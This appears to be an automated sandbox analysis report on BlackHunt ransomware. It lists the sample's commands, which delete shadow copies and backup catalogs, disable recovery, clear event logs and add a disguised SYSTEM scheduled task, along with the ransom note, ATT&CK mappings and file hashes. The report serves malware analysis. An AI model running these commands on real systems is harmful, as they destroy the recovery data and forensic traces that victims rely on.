  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2200
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:4168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2488
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1992
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3160
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:3928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:3176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4900
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:3104
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3488
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1132
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:512
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:3848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1704
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:3412
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:3220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe" /F
  2⤵
  PID:3164
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:3636
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4508
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:4952
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:4832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:464
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:3396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4176
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4528
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:856
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1588
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3548
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:8848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1540
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:8324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:19052
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:18852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:19136
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:20336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:19404
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:5140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:18548
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:16960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:14324
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:16948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:15924
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:17256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:18916
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:17320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:16908
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:17412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:17196
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:17680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:17208
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:17444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:17364
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:17848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:17524
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:18176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:17548
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:18088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:17764
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:18388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:17800
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:19068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:17916
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:19064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:18076
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:15616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:20312
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:19264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:18316
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:19384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  - Checks computer location settings
  - Modifies registry class
  PID:18444
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    PID:19452
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 19452 -s 1460
      4⤵
      Program crash
      PID:19620
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\23d721502577b60c7dbc4803e8586418983553824fa82a5735263d104d163ce1.exe"
  2⤵
  PID:18572
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:19164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:18440
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:19328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:13756
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:19296

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3440

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3940

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:18584

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:8240

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 19452 -ip 19452
1⤵
PID:19580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
38a267022b800eea4c030d99f491dfd9

SHA1
153d43a897e4da4796a75205a75944ea61c77b13

SHA256
247e82c21cadf44896730648ada0908eb3d51dfba581a180a10f6624ffe510f7

SHA512
c66f657f97d72462c78d328e9b2a9a6c59824d96b74e6b8997c5f4c2a9b4dec8e4d8df70d6848faa2b0f5688d9c12d0e036620c9fa0312e5e098c072a7ae2888

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
a24ab0e93c40fd466e633b1e8ee1396f

SHA1
e4dd54d91ac4f1d8785e1d0cdcde35696c8832b2

SHA256
a8167c1a59a50f4e154c5f1139ec01ee37831a68a2f8523f81d75a4993c95554

SHA512
f3b5843f05214334f9e62ebf374e63aff27f7838886c81040438fff60c222361ee8e6ce331aceeb259aa17e95997e81c64c2614fecad2c1b21369434808c8366

Download Submit
F:\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
078f290182b3abc63ffedf3b460291e7

SHA1
bd65b2ca5a67b3fbe491222fab1de80d6bc86c48

SHA256
c61c3e34ba7c4ef7b16548b4d039540362c15ec875a7dc2a6c74f9ebfddc74a2

SHA512
bc0b72ebe2d611a3b30e9b984a7d6bd33ffd94b372d76eb6ae050d1d6d6ce73ce46e2d1b9994e3e89cdd617c1e566381221237e7d5fc14ed2e1b58530808b86b

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads